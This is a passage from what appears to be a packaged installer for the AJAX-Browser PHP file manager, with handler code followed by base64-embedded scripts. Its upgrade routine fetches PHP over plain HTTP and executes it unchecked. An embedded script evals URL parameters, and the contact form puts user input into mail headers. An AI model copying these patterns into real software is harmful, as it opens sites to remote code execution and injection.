	$_SESSION['AJAX-B']['SelectLst'] = explode(",", $moveitems);
	if (isset($dest))
		echo pasteItems($dest);
}
elseif (isset($pastedest))
	echo pasteItems($pastedest);
elseif (isset($supitems) && $_SESSION['AJAX-B']['droits']['DEL'])
{
	$returnLst = array();
	$lst = explode(',', $supitems);
	foreach ($lst as $item)
		{if (SupItem(decode64($item))) $returnLst[] = $item;}
	echo implode(',', $returnLst);
	if ($_SESSION['AJAX-B']['spy']['action'])
		file_put_contents ($_SESSION['AJAX-B']['spy_dir'].'/suppr.spy', $_SESSION['AJAX-B']['login'].' ['.date ("d/m/y H:i:s",time()).'] > '.implode(', ', array_map("decode64", $returnLst))."\n", FILE_APPEND);
}
elseif (isset($renitem) && $_SESSION['AJAX-B']['droits']['REN'])
{
	if (FileTypeApprover(decode64($mask)))
	{
		rename(decode64($renitem), UTF8dirname(decode64($renitem)).'/'.decode64($mask));
		echo encode64(UTF8dirname(decode64($renitem)).'/');
		if ($_SESSION['AJAX-B']['spy']['action'])
			file_put_contents ($_SESSION['AJAX-B']['spy_dir'].'/rename.spy', $_SESSION['AJAX-B']['login'].' ['.date ("d/m/y H:i:s",time())."]\n\t".decode64($renitem).' > '.decode64($mask)."\n", FILE_APPEND);
	}
}
elseif (isset($renitems) && $_SESSION['AJAX-B']['droits']['REN'])
{
	$renitems=array_map("decode64", explode(',',$renitems));
	if (count($renitems)==1 && is_dir($renitems[0]))
		echo MultiRen(DirSort ($renitems[0], 'all', $renitems[0]), decode64($mask));
	else
		echo MultiRen($renitems,decode64 ($mask));
}
elseif (isset($infos))
{
	include (INSTAL_DIR.'scripts/Proprietes.php');
}
elseif(isset($maj) && $_SESSION['AJAX-B']['droits']['GLOBAL_SETTING'])
{
	$repositoryURL = 'http://'.$_SESSION['AJAX-B']['ajaxb_miror'].REPOSITORY_FOLDER.'LastVersion.php';
	$data = file_get_contents ($repositoryURL.'?download&identity='.str_replace(array(' '), array(''),$_SERVER['SERVER_NAME'].'-'.VERSION));
	if (strlen($data))
	{
		$name = './'.sha1 ($data).'.php';
		file_put_contents($name, $data);
		include ($name);
		unlink($name);
		if ($_SESSION['AJAX-B']['spy']['action'])
			file_put_contents ($_SESSION['AJAX-B']['spy_dir'].'/UPGRADE.spy', $_SESSION['AJAX-B']['login'].' ['.date ("d/m/y H:i:s",time()).'] > '.VERSION.' > '.$version."\n", FILE_APPEND);
	}
	else echo $ABS[403];
}
?>',
  './AJAX-B/scripts/Contact.php' => 'PD9waHAKaWYgKCRjb250YWN0PT0ic2VuZCIgJiYgIWVtcHR5KCRleHBlZGl0ZXVyKSAmJiAgIWVtcHR5KCR0aXRyZSkgJiYgICFlbXB0eSgkbWVzc2FnZSkpCnsKCWlmIChtYWlsKCRHTE9CQUxTWydBSkFYLVZhciddWydhZG1pbl9lbWFpbCddLCB0cmltKHN0cmlwc2xhc2hlcygkdGl0cmUpKSwgdHJpbShzdHJpcHNsYXNoZXMoJG1lc3NhZ2UpKS4iXG5cbkFKQVgtQnJvd3NlciA6ICIuJF9TRVNTSU9OWydBSkFYJ11bJ2xvZ2luJ10sICJGcm9tOiAiLiRfU0VTU0lPTlsnQUpBWC1CJ11bJ2xvZ2luJ10uIiA8Ii4kZXhwZWRpdGV1ci4iPlxuTUlNRS1WZXJzaW9uOiAxLjAiKSkKCQllY2hvICRBQlNbNzAxXS4iPGJyPjxicj4gOlxuIi4kdGl0cmUuIjxicj48YnI+IDpcbiIuJG1lc3NhZ2UuIjxicj48YnI+XG4iOwoJZWxzZQoJCWVjaG8gIjxkaXYgY2xhc3M9J2FsZXJ0Jz4kQUJTWzcwMl08YnI+JEFCU1s3MDNdPGJyPjwvZGl2PlxuIjsKfQo/PgoJPGxhYmVsIGZvcj0iZXhwZWRpdGV1ciI+PD9waHAgZWNobyAkQUJTWzcwNF07Pz4gOjwvbGFiZWw+Cgk8YnI+Cgk8aW5wdXQgY2xhc3M9InczIiBuYW1lPSJleHBlZGl0ZXVyIiBpZD0iZXhwZWRpdGV1ciIgdmFsdWU9Ijw/cGhwCWVjaG8gKCFlbXB0eSgkZXhwZWRpdGV1cikpPyRleHBlZGl0ZXVyOiRfU0VTU0lPTlsnQUpBWC1CJ11bJ3Vzcl9lbWFpbCddOz8+IiAvPgoJPGJyPgoJPGxhYmVsIGZvcj0idGl0cmUiPjw/cGhwIGVjaG8gJEFCU1s3MDVdOz8+IDogPC9sYWJlbD4KCTxicj4KCTxpbnB1dCBjbGFzcz0idzMiIHNpemU9IjMwIiBuYW1lPSJ0aXRyZSIgaWQ9InRpdHJlIiB2YWx1ZT0iPD9waHAgZWNobyAoIWVtcHR5KCR0aXRyZSkpP3N0cmlwc2xhc2hlcygkdGl0cmUpOicnOz8+IiAvPgoJPGJyPgoJPGxhYmVsIGZvcj0ibWVzc2FnZSI+PD9waHAgZWNobyAkQUJTWzcwNl07Pz48L2xhYmVsPgoJPGJyPgoJPHRleHRhcmVhIGNsYXNzPSJ3MyIgbmFtZT0ibWVzc2FnZSIgaWQ9Im1lc3NhZ2UiIHJvd3M9IjEwIj48P3BocCBlY2hvICghZW1wdHkoJG1lc3NhZ2UpKT9zdHJpcHNsYXNoZXMoJG1lc3NhZ2UpOicnOz8+PC90ZXh0YXJlYT4KCTxicj4KCTxkaXYgY2xhc3M9InczIGJvcmRlciBjZW50ZXIiIG9uY2xpY2s9ImZvcm09ZG9jdW1lbnQuZm9ybXNbMF07UG9wQm94KCdtb2RlPXJlcXVlc3QmY29udGFjdD1zZW5kJmV4cGVkaXRldXI9Jytmb3JtLmV4cGVkaXRldXIudmFsdWUrJyZ0aXRyZT0nK2Zvcm0udGl0cmUudmFsdWUrJyZtZXNzYWdlPScrZm9ybS5tZXNzYWdlLnZhbHVlLCdPcGVuQm94KHJlcXVlc3QucmVzcG9uc2VUZXh0KTsnKSI+U2VuZDwvZGl2Pg==',
  './AJAX-B/scripts/Dom-AJAX.js' => 'dmFyIFJRVD0KewoJeG1sRG9jIDogT2JqZWN0LAoJZ2V0IDogZnVuY3Rpb24odXJsLCBvcHRpb25zKQoJewoJCXZhciBwYXJhbWV0ZXJzID0gb3B0aW9ucy5wYXJhbWV0ZXJzIHx8IGZhbHNlOwoJCXZhciBtZXRob2QgPSBvcHRpb25zLm1ldGhvZCB8fCAncG9zdCc7CgkJdmFyIGFzeW5jID0gb3B0aW9ucy5hc3luYyB8fCB0cnVlOwoJCXZhciBvblN0YXJ0ID0gb3B0aW9ucy5vblN0YXJ0IHx8IGZhbHNlOwoJCXZhciBvbkVuZCA9IG9wdGlvbnMub25FbmQgfHwgZmFsc2U7CgkJdmFyIG9uRXJyb3IgPSBvcHRpb25zLm9uRXJyb3IgfHwgJ2FsZXJ0KCInK0FCUzkwMCsnIik7JzsKCQl2YXIgcmVxdWVzdDsKCgkJaWYod2luZG93LlhNTEh0dHBSZXF1ZXN0KSAgIC8vIHRvdXMgbGVzIG5hdmlndWF0ZXVycyBXM0MKCQkJeyByZXF1ZXN0ID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7fQoJCWVsc2UgaWYgKHdpbmRvdy5BY3RpdmVYT2JqZWN0KSAgIC8vIEludGVybmV0IEV4cGxvcmVyCgkJCXsgcmVxdWVzdCA9IG5ldyBBY3RpdmVYT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpO30KCQllbHNlCgkJewoJCQlhbGVydCgnQUpBWCBpcyBub3QgYXZhaWJsZS4nKTsKCQkJcmVxdWVzdCA9IGZhbHNlOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlpZihvblN0YXJ0KSBldmFsKG9uU3RhcnQpOwoJCXJlcXVlc3Qub3BlbihtZXRob2QsIHVybCArIChtZXRob2Q9PSdnZXQnJiZwYXJhbWV0ZXJzID8gJz8nK3BhcmFtZXRlcnMgOiAnJyksIGFzeW5jKTsKCQlyZXF1ZXN0LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTsKCQlyZXF1ZXN0Lm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uKCkKCQl7CgkJCWlmIChyZXF1ZXN0LnJlYWR5U3RhdGUgPT0gNCkKCQkJewoJCQkJaWYgKHJlcXVlc3Quc3RhdHVzID09IDIwMCkKCQkJCXsKCQkJCQl4bWxEb2MgPSByZXF1ZXN0LnJlc3BvbnNlVGV4dDsKCQkJCQlpZihvbkVuZCkgZXZhbChvbkVuZCk7CgkJCQkJcmV0dXJuIHRydWU7CgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJaWYob25FcnJvcikgZXZhbChvbkVycm9yKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9CgkJCX0KCQl9OwoJCXJlcXVlc3Quc2VuZChtZXRob2Q9PSdwb3N0JyA/IHBhcmFtZXRlcnMgOiBudWxsKTsKCX0KfTs=',
  './AJAX-B/scripts/Dom-Common.js' => 'LyoqLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIHwgQUpBWC1Ccm93c2VyICAtICBieSBBbGJhbiBMT1BFWg0KIHwgQ29weXJpZ2h0IChjKSAyMDA3IEFsYmFuIExPUEVaDQogfCBFbWFpbCBidWdzL3N1Z2dlc3Rpb25zIHRvIGFsYmFuLmxvcGV6QGdtYWlsLmNvbQ0KICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIHwgVGhpcyBzY3JpcHQgaGFzIGJlZW4gY3JlYXRlZCBhbmQgcmVsZWFzZWQgdW5kZXINCiB8IHRoZSBHTlUgR1BMIGFuZCBpcyBmcmVlIHRvIHVzZSBhbmQgcmVkaXN0cmlidXRlDQogfCBvbmx5IGlmIHRoaXMgY29weXJpZ2h0IHN0YXRlbWVudCBpcyBub3QgcmVtb3ZlZA0KICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQp2YXIgU2VydkFjdFBhZ2UgPSAoKGxvY2F0aW9uLmhyZWYuc3BsaXQoIj8iKSlbMF0pOw0KbHN0R2V0ID0gbG9jYXRpb24uc2VhcmNoLnNsaWNlKDEsd2luZG93LmxvY2F0aW9uLnNlYXJjaC5sZW5ndGgpLnNwbGl0KCImIik7DQoJZm9yKGk9MDtsc3RHZXRbaV07aSsrKQ0KCXsNCgkJZXZhbCgobHN0R2V0W2ldLnNwbGl0KCI9IikpWzBdKyI9JyIrKGxzdEdldFtpXS5zcGxpdCgiPSIpKVsxXSsiJzsiKTsNCgl9DQpmdW5jdGlvbiBJRCAoaWQpIHsgcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkIChpZCk7IH0NCmZ1bmN0aW9uIGJhc2VuYW1lIChzdHIpCQkJLy8gcmVudm9pIGxlIG5vbSBkdSBmaWNoaWVyDQp7DQoJdmFyIHRtcCA9IHN0ci5zcGxpdCgnLycpLnBvcCgpOw0KCWlmICh0bXA9PT0nJykge3JldHVybiBzdHIuc2xpY2UoMCwtMSkuc3BsaXQoJy8nKS5wb3AoKTt9DQoJcmV0dXJuIHRtcDsNCn0NCmZ1bmN0aW9uIGRpcm5hbWUgKHN0cikJCQkvLyByZW52b2kgbGUgbm9tIGR1IGRvc3NpZXINCnsNCgl2YXIgdG1wID0gc3RyLnNwbGl0KCcvJyk7DQoJaWYodG1wLnBvcCgpPT09JycpIHt0bXAucG9wKCk7fQ0KCXJldHVybiB0bXAuam9pbignLycpKycvJzsNCn0NCmZ1bmN0aW9uIGRpckRlc3QoaWQ2NCkNCnsNCglpZiAoaXNfZGlyKGJhc2U2NC5kZWNvZGUoaWQ2NCkpKQ0KCQl7cmV0dXJuIGlkNjQ7fQ0KCWVsc2UNCgkJe3JldHVybiBiYXNlNjQuZW5jb2RlKGRpcm5hbWUoYmFzZTY0LmRlY29kZShpZDY0KSkpO30NCn0NCmZ1bmN0aW9uIGlzX2RpcihzdHIpDQp7DQoJcmV0dXJuIHN0ci5zbGljZShzdHIubGVuZ3RoLTEpPT0nLyc7DQp9DQpmdW5jdGlvbiBDUF9TZW5kKGlkKQ0Kew0KCVJRVC5nZXQgKFNlcnZBY3RQYWdlLCAvLyBvbiBqb2ludCBsYSBwYWdlIGVuIGNvdXINCgkJew0KCQkJcGFyYW1ldGVyczonbW9kZT1yZXF1ZXN0JmNwc2F2ZT0nK2lkLnNsaWNlKDIsaWQubGVuZ3RoKSsnJmNwZGF0YT0nK2Jhc2U2NC5lbmNvZGUoSUQoaWQpLmdldENvZGUoKSksDQoJCQlvbkVuZDonSUQoImRyYWdfIicraWQuc2xpY2UoMixpZC5sZW5ndGgpKycpLnNldEF0dHJpYnV0ZSgidGl0bGUiLHJlcXVlc3QucmVzcG9uc2VUZXh0KScsDQoJCQlvbkVycm9yOidhbGVydCgiRXJyb3IgISIpOycNCgkJfQ0KCSk7DQp9DQpmdW5jdGlvbiBQb3BCb3gocGFyYW0sIGVuZCkNCnsNCglJRCgnQm94Q29udGVudCcpLmlubmVySFRNTD1BQlMyOTsNCglJRCgnQm94Jykuc3R5bGUuZGlzcGxheSA9ICdibG9jayc7DQoJRHJhZy5pbml0KElEKCdEcmFnWm9uZScpLCBJRCgnQm94JykpOw0KCVJRVC5nZXQgKFNlcnZBY3RQYWdlLCAvLyBvbiBqb2ludCBsYSBwYWdlIGVuIGNvdXINCgkJew0KCQkJcGFyYW1ldGVyczpwYXJhbSwNCgkJCW9uRW5kOmVuZCwNCgkJCW9uRXJyb3I6J0lEKCJCb3giKS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiO2FsZXJ0KCInK0FCUzkwMCsnIik7Jw0KCQl9DQoJKTsNCn0NCmZ1bmN0aW9uIHJlQ2VudGVyKHB0cikNCnsNCglwdHIuc3R5bGUuZGlzcGxheSA9ICdibG9jayc7DQoJcHRyLnN0eWxlLnRvcD0oZG9jdW1lbnQuYm9keS5jbGllbnRIZWlnaHQtcHRyLm9mZnNldEhlaWdodCkvMiArIGRvY3VtZW50LmJvZHkuc2Nyb2xsVG9wOw0KCXB0ci5zdHlsZS5sZWZ0PShkb2N1bWVudC5ib2R5LmNsaWVudFdpZHRoLXB0ci5vZmZzZXRXaWR0aCkvMiArIGRvY3VtZW50LmJvZHkuc2Nyb2xsTGVmdDsNCn0NCmZ1bmN0aW9uIE9wZW5Cb3ggKHN0cikNCnsNCglpZiAoc3RyIT09JycpDQoJew0KCQlwdHJCQyA9IElEKCdCb3hDb250ZW50Jyk7DQoJCXB0ckJDLmlubmVySFRNTCA9IHN0cjsNCgkJcHRyQkMuc2Nyb2xsVG9wPTA7DQoJCXJlQ2VudGVyKElEKCdCb3gnKSk7DQoJfQ0KCWVsc2Uge0lEKCdCb3gnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnO30NCn0NCmZ1bmN0aW9uIE9iaklubmVyVmlldyAob2JqKQ0KeyAvLyByZWNhZHJlIGxlIGNvbnRlbmV1ciBPQkogc2kgaWwgc29ydGRlIGxhIHBhcnRpZSB2aXNpYmxlIGR1IG5hdmlnYXRldXINCglvYmouc3R5bGUuZGlzcGxheSA9ICJibG9jayI7DQoJaWYgKG9iai5vZmZzZXRMZWZ0K29iai5vZmZzZXRXaWR0aCA+IGRvY3VtZW50LmJvZHkuY2xpZW50V2lkdGggKyBkb2N1bWVudC5ib2R5LnNjcm9sbExlZnQpDQoJCXtvYmouc3R5bGUubGVmdCA9IChkb2N1bWVudC5ib2R5LmNsaWVudFdpZHRoICsgZG9jdW1lbnQuYm9keS5zY3JvbGxMZWZ0IC0gb2JqLm9mZnNldFdpZHRoKSArICJweCI7fQ0KCWlmIChvYmoub2Zmc2V0VG9wK29iai5vZmZzZXRIZWlnaHQgPiBkb2N1bWVudC5ib2R5LmNsaWVudEhlaWdodCArIGRvY3VtZW50LmJvZHkuc2Nyb2xsVG9wKQ0KCQl7b2JqLnN0eWxlLnRvcCA9IChkb2N1bWVudC5ib2R5LmNsaWVudEhlaWdodCArIGRvY3VtZW50LmJvZHkuc2Nyb2xsVG9wIC0gb2JqLm9mZnNldEhlaWdodCkgKyAicHgiO30NCn0NCmZ1bmN0aW9uIGdldERlc3QoKQ0Kew0KCWlmIChTZWxlY3RMc3QubGVuZ3RoPT0xKQ0KCQl7cmV0dXJuIGRpckRlc3QoU2VsZWN0THN0WzBdKTt9DQoJZWxzZQ0KCQl7cmV0dXJuIHJhY2luZTY0O30NCn0NCmZ1bmN0aW9uIFNpemVDb252ZXJ0IChTaXplKQkJLy8gY29udmVydGkgdW4gbm9tYnJlIGQnb2N0w6lzIGVuIHRhaWxsZSBlbiBLbywgTW8sIEdvLCBUbw0Kew0KCXZhciBVbml0QXJyYXkgPSBuZXcgQXJyYXkoJ09jdCcsJ0tvJywnTW8nLCdHbycsJ1RvJyk7DQoJdmFyIFBPVyA9IG5ldyBBcnJheSgxLCAxMDI0LCAxMDQ4NTc2LCAxMDczNzQxODI0LCAxMDk5NTExNjI3Nzc2KTsNCgl2YXIgVW5pdD0wOw0KCWlmIChTaXplPT0tMSl7IHJldHVybiAnIC0gLSAnO30NCgl3aGlsZSAoU2l6ZS9QT1dbVW5pdF0+MTAyNCkge1VuaXQ9VW5pdCsxO30NCglyZXR1cm4gTWF0aC5yb3VuZChTaXplL1BPV1tVbml0XSpNYXRoLnBvdygxMCxVbml0KSkvTWF0aC5wb3coMTAsVW5pdCkrJyAnK1VuaXRBcnJheVtVbml0XTsNCn0NCmZ1bmN0aW9uIGdldENoZWNrZWRSYWRpbyhyYWRpb09iaikNCnsNCglpZiAoIXJhZGlvT2JqKSB7cmV0dXJuICIiO30NCgl2YXIgcmFkaW9MZW5ndGggPSByYWRpb09iai5sZW5ndGg7DQoJaWYgKHJhZGlvTGVuZ3RoID09PSB1bmRlZmluZWQpDQoJew0KCQlpZihyYWRpb09iai5jaGVja2VkKQ0KCQkJe3JldHVybiByYWRpb09iai52YWx1ZTt9DQoJCWVsc2UNCgkJCXtyZXR1cm4gIiI7fQ0KCX0NCglmb3IgKHZhciBpID0gMDsgaSA8IHJhZGlvTGVuZ3RoOyBpKyspDQoJCXtpZihyYWRpb09ialtpXS5jaGVja2VkKXtyZXR1cm4gcmFkaW9PYmpbaV0udmFsdWU7fX0NCglyZXR1cm4gIiI7DQp9DQpmdW5jdGlvbiBoaWdobGlnaHQgKCkNCnsNCglTZWxlY3RMc3QuZm9yRWFjaCAoDQoJCWZ1bmN0aW9uKGVsZW1lbnQsIGluZGV4LCBhcnJheSkNCgkJew0KCQkJcHRyID0gSUQoZWxlbWVudCk7DQoJCQlpZiAocHRyKXtDaGFuZ2VCRyhwdHIsIGZhbHNlKS5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9InJnYigyMzAsMTUwLDE1MCkiO30NCgkJfQ0KCSk7DQoJd2luZG93LnNldFRpbWVvdXQoIlNlbGVjdExzdC5mb3JFYWNoIChmdW5jdGlvbihlbGVtZW50LCBpbmRleCwgYXJyYXkpe2lmICgocHRyID0gSUQoZWxlbWVudCkpKSBDaGFuZ2VCRyhwdHIsIHRydWUpO30pIiwgMTUwKTsNCn0NCi8vID09PT09PT09PT09PSAgICBwb3VyIGxlcyBiZXNvaW4gSlMgVjEuNiBzdXIgbGVzIG5hdmlndWF0ZXVyIEpTIFYxLjUgICAgID09PT09PT09PT09PT0NCg0KaWYgKCFBcnJheS5wcm90b3R5cGUuZm9yRWFjaCkNCnsNCglBcnJheS5wcm90b3R5cGUuZm9yRWFjaCA9IGZ1bmN0aW9uKGZ1biAvKiwgdGhpc3AqLykNCgl7DQoJCXZhciBsZW4gPSB0aGlzLmxlbmd0aDsNCgkJaWYgKHR5cGVvZiBmdW4gIT0gImZ1bmN0aW9uIil7dGhyb3cgbmV3IFR5cGVFcnJvcigpO30NCgkJdmFyIHRoaXNwID0gYXJndW1lbnRzWzFdOw0KCQlmb3IgKHZhciBpID0gMDsgaSA8IGxlbjsgaSsrKQ0KCQl7DQoJCQlpZiAoaSBpbiB0aGlzKXtmdW4uY2FsbCh0aGlzcCwgdGhpc1tpXSwgaSwgdGhpcyk7fQ0KCQl9DQoJfTsNCn0NCmlmICghQXJyYXkucHJvdG90eXBlLmluZGV4T2YpDQp7DQoJQXJyYXkucHJvdG90eXBlLmluZGV4T2YgPSBmdW5jdGlvbihlbHQgLyosIGZyb20qLykNCgl7DQoJCXZhciBsZW4gPSB0aGlzLmxlbmd0aDsNCgkJdmFyIGZyb20gPSBOdW1iZXIoYXJndW1lbnRzWzFdKSB8fCAwOw0KCQlmcm9tID0gKGZyb20gPCAwKT8gTWF0aC5jZWlsKGZyb20pOk1hdGguZmxvb3IoZnJvbSk7DQoJCWlmIChmcm9tIDwgMCl7ZnJvbSArPSBsZW47fQ0KCQlmb3IgKDsgZnJvbSA8IGxlbjsgZnJvbSsrKQ0KCQl7DQoJCQlpZiAoZnJvbSBpbiB0aGlzICYmIHRoaXNbZnJvbV0gPT09IGVsdCl7cmV0dXJuIGZyb207fQ0KCQl9DQoJCXJldHVybiAtMTsNCgl9Ow0KfQ==',
  './AJAX-B/scripts/Dom-UTF8Base64.js' => 'LyoqICBiYXNlNjQgZW5jb2RlIC8gZGVjb2RlICA9PSAgaHR0cDovL3d3dy53ZWJ0b29sa2l0LmluZm8vICAqKi8KLy8gdXNlIGxpa2UgdGhhdCA6IGJhc2U2NC5lbmNvZGUoJ+WJm+eUn+WujOWvti8nKTsgb3IgYmFzZTY0LmRlY29kZSgnNVltYjU1U2Y1YTZNNWFAMkx3X18nKTsKdmFyIGJhc2U2NCA9IHsKLy8gCV9rZXlTdHIgOiAiQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0iLCAvLyBzdGFuZGFyZCBiYXNlNjQgZW5jb2RpbmcKCV9rZXlTdHIgOiAiQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODlAXn4iLCAvLyBteSBwZXJzb25hbCBiYXNlNjQgZW5jb2RpbmcgbWV0aG9kCgllbmNvZGUgOiBmdW5jdGlvbiAoaW5wdXQpCgl7CgkJdmFyIG91dHB1dCA9ICIiOwoJCXZhciBjaHIxLCBjaHIyLCBjaHIzLCBlbmMxLCBlbmMyLCBlbmMzLCBlbmM0OwoJCXZhciBpID0gMDsKLy8gCQlhbGVydCAoJ2VuY29kZSA9ICcraW5wdXQpOwoJCWlucHV0ID0gYmFzZTY0Ll91dGY4X2VuY29kZShpbnB1dCk7CgkJd2hpbGUgKGkgPCBpbnB1dC5sZW5ndGgpCgkJewoJCQljaHIxID0gaW5wdXQuY2hhckNvZGVBdChpKyspOwoJCQljaHIyID0gaW5wdXQuY2hhckNvZGVBdChpKyspOwoJCQljaHIzID0gaW5wdXQuY2hhckNvZGVBdChpKyspOwoJCQllbmMxID0gY2hyMSA+PiAyOwoJCQllbmMyID0gKChjaHIxICYgMykgPDwgNCkgfCAoY2hyMiA+PiA0KTsKCQkJZW5jMyA9ICgoY2hyMiAmIDE1KSA8PCAyKSB8IChjaHIzID4+IDYpOwoJCQllbmM0ID0gY2hyMyAmIDYzOwoJCQlpZiAoaXNOYU4oY2hyMikpCgkJCXsKCQkJCWVuYzMgPSBlbmM0ID0gNjQ7CgkJCX0KCQkJZWxzZSBpZiAoaXNOYU4oY2hyMykpCgkJCXsKCQkJCWVuYzQgPSA2NDsKCQkJfQoJCQlvdXRwdXQgPSBvdXRwdXQgKwoJCQl0aGlzLl9rZXlTdHIuY2hhckF0KGVuYzEpICsgdGhpcy5fa2V5U3RyLmNoYXJBdChlbmMyKSArCgkJCXRoaXMuX2tleVN0ci5jaGFyQXQoZW5jMykgKyB0aGlzLl9rZXlTdHIuY2hhckF0KGVuYzQpOwoJCX0KCQlyZXR1cm4gb3V0cHV0OwoJfSwKCWRlY29kZSA6IGZ1bmN0aW9uIChpbnB1dCkKCXsKCQl2YXIgb3V0cHV0ID0gIiI7CgkJdmFyIGNocjEsIGNocjIsIGNocjM7CgkJdmFyIGVuYzEsIGVuYzIsIGVuYzMsIGVuYzQ7CgkJdmFyIGkgPSAwOwoJCWlucHV0ID0gaW5wdXQucmVwbGFjZSgvW15BLVphLXowLTlcQFxeXH5dL2csICIiKTsKCQl3aGlsZSAoaSA8IGlucHV0Lmxlbmd0aCkKCQl7CgkJCWVuYzEgPSB0aGlzLl9rZXlTdHIuaW5kZXhPZihpbnB1dC5jaGFyQXQoaSsrKSk7CgkJCWVuYzIgPSB0aGlzLl9rZXlTdHIuaW5kZXhPZihpbnB1dC5jaGFyQXQoaSsrKSk7CgkJCWVuYzMgPSB0aGlzLl9rZXlTdHIuaW5kZXhPZihpbnB1dC5jaGFyQXQoaSsrKSk7CgkJCWVuYzQgPSB0aGlzLl9rZXlTdHIuaW5kZXhPZihpbnB1dC5jaGFyQXQoaSsrKSk7CgkJCWNocjEgPSAoZW5jMSA8PCAyKSB8IChlbmMyID4+IDQpOwoJCQljaHIyID0gKChlbmMyICYgMTUpIDw8IDQpIHwgKGVuYzMgPj4gMik7CgkJCWNocjMgPSAoKGVuYzMgJiAzKSA8PCA2KSB8IGVuYzQ7CgkJCW91dHB1dCA9IG91dHB1dCArIFN0cmluZy5mcm9tQ2hhckNvZGUoY2hyMSk7CgkJCWlmIChlbmMzICE9IDY0KQoJCQl7CgkJCQlvdXRwdXQgPSBvdXRwdXQgKyBTdHJpbmcuZnJvbUNoYXJDb2RlKGNocjIpOwoJCQl9CgkJCWlmIChlbmM0ICE9IDY0KQoJCQl7CgkJCQlvdXRwdXQgPSBvdXRwdXQgKyBTdHJpbmcuZnJvbUNoYXJDb2RlKGNocjMpOwoJCQl9CgkJfQoJCW91dHB1dCA9IGJhc2U2NC5fdXRmOF9kZWNvZGUob3V0cHV0KTsKCQlyZXR1cm4gb3V0cHV0OwoJfSwKCV91dGY4X2VuY29kZSA6IGZ1bmN0aW9uIChzdHJpbmcpIHsKCQlzdHJpbmcgPSBzdHJpbmcucmVwbGFjZSgvXHJcbi9nLCJcbiIpOwoJCXZhciB1dGZ0ZXh0ID0gIiI7CgkJZm9yICh2YXIgbiA9IDA7IG4gPCBzdHJpbmcubGVuZ3RoOyBuKyspCgkJewoJCQl2YXIgYyA9IHN0cmluZy5jaGFyQ29kZUF0KG4pOwoJCQlpZiAoYyA8IDEyOCkKCQkJewoJCQkJdXRmdGV4dCArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKGMpOwoJCQl9CgkJCWVsc2UgaWYoKGMgPiAxMjcpICYmIChjIDwgMjA0OCkpCgkJCXsKCQkJCXV0ZnRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoYyA+PiA2KSB8IDE5Mik7CgkJCQl1dGZ0ZXh0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoKGMgJiA2MykgfCAxMjgpOwoJCQl9CgkJCWVsc2UKCQkJewoJCQkJdXRmdGV4dCArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKChjID4+IDEyKSB8IDIyNCk7CgkJCQl1dGZ0ZXh0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoKChjID4+IDYpICYgNjMpIHwgMTI4KTsKCQkJCXV0ZnRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoYyAmIDYzKSB8IDEyOCk7CgkJCX0KCQl9CgkJcmV0dXJuIHV0ZnRleHQ7Cgl9LAoJX3V0ZjhfZGVjb2RlIDogZnVuY3Rpb24gKHV0ZnRleHQpCgl7CgkJdmFyIHN0cmluZyA9ICIiOwoJCXZhciBpID0gMDsKCQl2YXIgYyA9IGMxID0gYzIgPSAwOwoJCXdoaWxlICggaSA8IHV0ZnRleHQubGVuZ3RoICkKCQl7CgkJCWMgPSB1dGZ0ZXh0LmNoYXJDb2RlQXQoaSk7CgkJCWlmIChjIDwgMTI4KQoJCQl7CgkJCQlzdHJpbmcgKz0gU3RyaW5nLmZyb21DaGFyQ29kZShjKTsKCQkJCWkrKzsKCQkJfQoJCQllbHNlIGlmKChjID4gMTkxKSAmJiAoYyA8IDIyNCkpCgkJCXsKCQkJCWMyID0gdXRmdGV4dC5jaGFyQ29kZUF0KGkrMSk7CgkJCQlzdHJpbmcgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoKGMgJiAzMSkgPDwgNikgfCAoYzIgJiA2MykpOwoJCQkJaSArPSAyOwoJCQl9CgkJCWVsc2UKCQkJewoJCQkJYzIgPSB1dGZ0ZXh0LmNoYXJDb2RlQXQoaSsxKTsKCQkJCWMzID0gdXRmdGV4dC5jaGFyQ29kZUF0KGkrMik7CgkJCQlzdHJpbmcgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoKGMgJiAxNSkgPDwgMTIpIHwgKChjMiAmIDYzKSA8PCA2KSB8IChjMyAmIDYzKSk7CgkJCQlpICs9IDM7CgkJCX0KCQl9CgkJcmV0dXJuIHN0cmluZzsKCX0KfTs=',
